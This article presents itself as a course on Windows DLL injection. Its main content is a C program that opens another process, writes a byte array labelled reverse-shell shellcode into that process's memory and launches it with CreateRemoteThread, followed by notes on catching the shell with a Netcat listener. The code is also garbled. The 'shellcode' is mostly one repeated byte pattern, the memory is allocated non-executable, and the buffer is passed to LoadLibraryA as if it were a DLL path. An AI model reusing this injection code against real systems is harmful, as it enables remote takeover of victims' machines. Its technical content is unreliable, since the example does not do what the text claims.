DLL Injection: A Comprehensive Course with Reverse Shell Example

By Reda Ouzidane

April 8, 2025

1 Introduction to DLL Injection

DLL Injection is the process of injecting a dynamic-link library (DLL) into the address space of a running process. This technique can be used for both malicious and legitimate purposes, such as modifying the behavior of a target application or conducting penetration testing.

In this course, we will explore the process of DLL injection and also see how a **Reverse Shell** can be established using DLL injection. A reverse shell allows an attacker to remotely control the target system after injecting the shellcode into the target process.

2 Key Concepts in DLL Injection

- **PID (Process ID):** A unique identifier for each running process in the operating system.
- **DLL (Dynamic Link Library):** A collection of code and data that can be used by multiple programs simultaneously.
- **Remote Thread:** A thread created in the address space of another process, allowing us to execute code in the context of that process.
- **Memory Allocation in Remote Process:** The process of allocating memory in the address space of a target process where data (such as a DLL path) can be stored.

3 Reverse Shell Injection Example

In this section, we will modify the basic DLL injection example to inject a **reverse shell** into a target process. A reverse shell allows an attacker to connect back to the victim's system from a remote machine, giving them full control over the system.

Listing 1: DLL Injection with Reverse Shell

```c
#include <windows.h>
#include <stdio.h>

const char shellcode[] =
"\x48\x31\xc0\x50\x48\x89\xe2\x48\x8d\x1d\x04\x00\x00\x00\x48"
"\x8d\x35\x04\x00\x00\x00\x48\x31\xd2\xb2\x10\x41\x52\x50\x48"
"\x89\xe6\x48\x31\xd2\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48"
"\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48"
"\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61"
"\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58"
"\x50\x51\x48\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48"
"\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48"
"\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61"
"\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58"
"\x50\x51\x48\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48"
"\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48"
"\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61"
"\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58"
"\x50\x51\x48\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48"
"\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48"
"\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61"
"\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58"
"\x50\x51\x48\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48"
"\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48"
"\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61"
"\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58"
```

```
"\x50\x51\x48\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48"
"\x89\xe6\x48\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48"
"\x83\xc0\x61\x6a\x02\x58\x50\x51\x48\x89\xe6\x48\x83\xc0\x61"
;

int main(int argc, char* argv[]) {
    if (argc != 3) {
        printf("Usage:␣%s␣<PID>␣<Path␣to␣DLL>\n", argv[0]);
        return 1;
    }

    DWORD pid = atoi(argv[1]);                  // Convert the PID from string to DWORD
    const char* dllPath = argv[2];              // DLL path

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess == NULL) {
        printf("[-]␣Failed␣to␣open␣target␣process.␣Error:␣%lu\n", GetLastError());
        return 1;
    }

    // Allocate memory in the target process for the DLL path
    LPVOID allocMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (allocMem == NULL) {
        printf("[-]␣Failed␣to␣allocate␣memory␣in␣target␣process.␣Error:␣%lu\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }

    // Write the reverse shell shellcode into the allocated memory
    if (!WriteProcessMemory(hProcess, allocMem, shellcode, sizeof(shellcode), NULL)) {
        printf("[-]␣Failed␣to␣write␣to␣target␣process␣memory.␣Error:␣%lu\n", GetLastError());
        VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    // Get the address of LoadLibraryA
    LPTHREAD_START_ROUTINE loadLibAddr = (
        LPTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

    // Create a remote thread in the target process to call
        LoadLibraryA with our DLL path
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        loadLibAddr, allocMem, 0, NULL);
    if (hThread == NULL) {
        printf("[-]␣Failed␣to␣create␣remote␣thread.␣Error:␣%
            lu\n", GetLastError());
        VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }

    printf("[+]␣Reverse␣shell␣injected␣successfully!\n");

    // Wait for the remote thread to finish
    WaitForSingleObject(hThread, INFINITE);

    // Cleanup
    VirtualFreeEx(hProcess, allocMem, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return 0;
}
```

4 Explanation of the Reverse Shell Code

The reverse shell code has been embedded as **shellcode** in the example above. Here's a breakdown of the approach:

- **Reverse Shell Shellcode:** This shellcode is designed to connect to a remote attacker (IP and port must be specified in the payload). It binds a socket to the attacker's system and allows them to send commands to be executed on the victim's system.

- **Memory Allocation and Shellcode Injection:** We inject this reverse shell shellcode into the target process's memory using the same method as shown previously.

- **Execution:** After injection, a remote thread is created to execute the reverse shell code within the context of the target process.

- **Listener on Attacker's Side:** On the attacker's side, you would need to set up a listener, for example using Netcat, to receive the reverse shell.

5 Conclusion

DLL injection is a powerful technique for interacting with the memory space of running processes, and with tools like reverse shell code, it can be used for both penetration testing and exploitation. Understanding this method can greatly improve your ability to detect, prevent, and mitigate such attacks.